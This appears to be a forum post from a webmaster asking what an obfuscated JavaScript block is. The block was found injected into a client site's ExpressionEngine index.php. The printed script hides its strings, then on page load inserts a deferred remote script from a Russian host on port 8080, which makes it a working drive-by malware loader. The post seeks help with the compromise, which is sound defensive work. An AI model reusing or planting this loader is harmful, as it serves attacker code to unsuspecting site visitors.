I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script...

    this.v=27047;
    this.v+=187;
    ug=["n"];
    OV=29534;
    OV--;
    var y;
    var C="C";
    var T={};

    r=function(){
        b=36068;
        b-=144;
        M=[];

        function f(V,w,U){
            return V.substr(w,U);
            var wH=39640;
        }

        var L=["o"];
        var cj={};
        var qK={N:false};
        var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2);
        var BT="BT";
        var fV=RegExp;
        var CE={bf:false};
        var UW='';
        this.Ky=11592;
        this.Ky-=237;
        var VU=document;
        var _n=[];

        try {} catch(wP){};

        this.JY=29554;
        this.JY-=245;

        function s(V,w){
            l=13628;
            l--;
            var U="["+w+String("]");
            var rk=new fV(U, f("giId",0,1));
            this.NS=18321;this.NS+=195;return V.replace(rk, UW);

            try {} catch(k){};
        };

        this.jM="";
        var CT={};
        var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z');

        try {var vv='m'} catch(vv){};

        var Os={};
        var t=null;
        var e=String("bod"+"y");
        var F=155183-147103;
        this.kp='';
        Z={Ug:false};
        y=function(){
            var kl=["mF","Q","cR"];

            try {
                Bf=11271;
                Bf-=179;
                var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5');
                Fp=VU[u](A);
                var H="";

                try {} catch(WK){};

                this.Ca=19053;
                this.Ca--;
                var O=s('s5rLcI','2A5IhLo');
                var V=F+fa;
                this.bK="";
                var ya=String("de"+"fe"+f("r3bPZ",0,1));
                var bk=new String();
                pB=9522;
                pB++;
                Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V;
                Fp[ya]=[1][0];
                Pe=45847;
                Pe--;
                VU[e].appendChild(Fp);
                var lg=new Array();
                var aQ={vl:"JC"};
                this.KL="KL";
            } 
            catch(x){
                this.Ja="";
                Th=["pj","zx","kO"];
                var Jr='';
            };

            Tr={qZ:21084};
        };

        this.pL=false;
    };

    be={};
    rkE={hb:"vG"};
    r();
    var bY=new Date();
    window.onload=y;
    cU=["Yr","gv"];